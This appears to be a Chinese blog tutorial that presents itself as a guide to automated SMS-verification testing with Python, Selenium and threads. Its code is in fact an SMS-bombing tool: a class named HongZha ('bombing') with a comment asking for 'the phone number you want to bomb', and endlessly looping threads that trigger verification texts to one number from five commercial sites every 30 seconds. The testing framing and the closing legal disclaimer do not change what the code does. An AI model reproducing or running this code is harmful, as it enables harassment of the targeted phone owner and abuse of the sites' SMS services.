基于Selenium与多线程的自动化短信验证请求实现
本文介绍使用Python结合Selenium WebDriver与多线程技术,实现对多个平台短信验证接口的自动化调用。内容涵盖环境配置、ChromeDriver路径设置、线程安全操作及具体平台(如知乎、瓜子二手车等)的请求逻辑,旨在提供自动化测试场景下的代码参考。
运行环境需配置Python 3.0及以上版本。
开发工具推荐使用PyCharm进行代码编写与管理。
需安装与浏览器版本匹配的谷歌插件chromedriver以驱动浏览器。
程序执行流程主要依赖Selenium模拟浏览器操作,并通过多线程并发处理不同平台的请求。
from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
def __init__(self):
self.phone = "xxxxx"#你要轰炸的电话号码
self.num = 0
def send_yzm(self,button,name):
button.click()
self.num+=1
print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name))
time.sleep(30)
def zhihu(self,name):
while True:#下面这行是刚刚叙说的chromedrive的安装路径
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://www.zhihu.com/question/39993344")
driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
time.sleep(2)
tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
tel.send_keys(self.phone)
button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
self.send_yzm(button,name)
driver.quit ()
def guazi(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://www.guazi.com/www/bj/buy")
a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
a_btn.click()
time.sleep(2)
tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
tel.send_keys( self.phone )
button = driver.find_element_by_xpath("//button[@class='get-code']")
self.send_yzm(button,name)
driver.quit()
def wphui(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
tel.send_keys ( self.phone )
driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
button = driver.find_element_by_xpath (
"//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
self.send_yzm ( button,name )
driver.quit ()
def suning(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://reg.suning.com/person.do" )
driver.find_element_by_xpath("//a[@class='agree-btn']").click()
tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath (
"//a[@id='sendSmsCode']" )
self.send_yzm ( button,name )
driver.quit ()
def yhd(self,name):
while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get ( "https://passport.yhd.com/passport/register_input.do" )
driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
tel.send_keys ( self.phone )
time.sleep(2)
button = driver.find_element_by_xpath (
"//a[@class='receive_code fl same_code_btn r_disable_code ']" )
#button.click()
time.sleep(1)
self.send_yzm ( button,name )
driver.quit ()
具体执行方式包括初始化浏览器驱动、定位输入框与按钮元素、填入目标手机号并触发点击事件,同时利用线程池并发执行多个平台的逻辑。
from threading import Thread
from sendPhon import HongZha
hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()
通过上述代码结构,可实现对多个网站短信接口的批量请求测试。需注意控制请求频率以避免触发反爬机制,并确保操作符合相关法律法规及平台使用条款。
以上为基于Python与Selenium实现短信验证请求的相关技术介绍,更多自动化测试相关内容可参考本站过往文章或继续浏览后续技术文档。
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













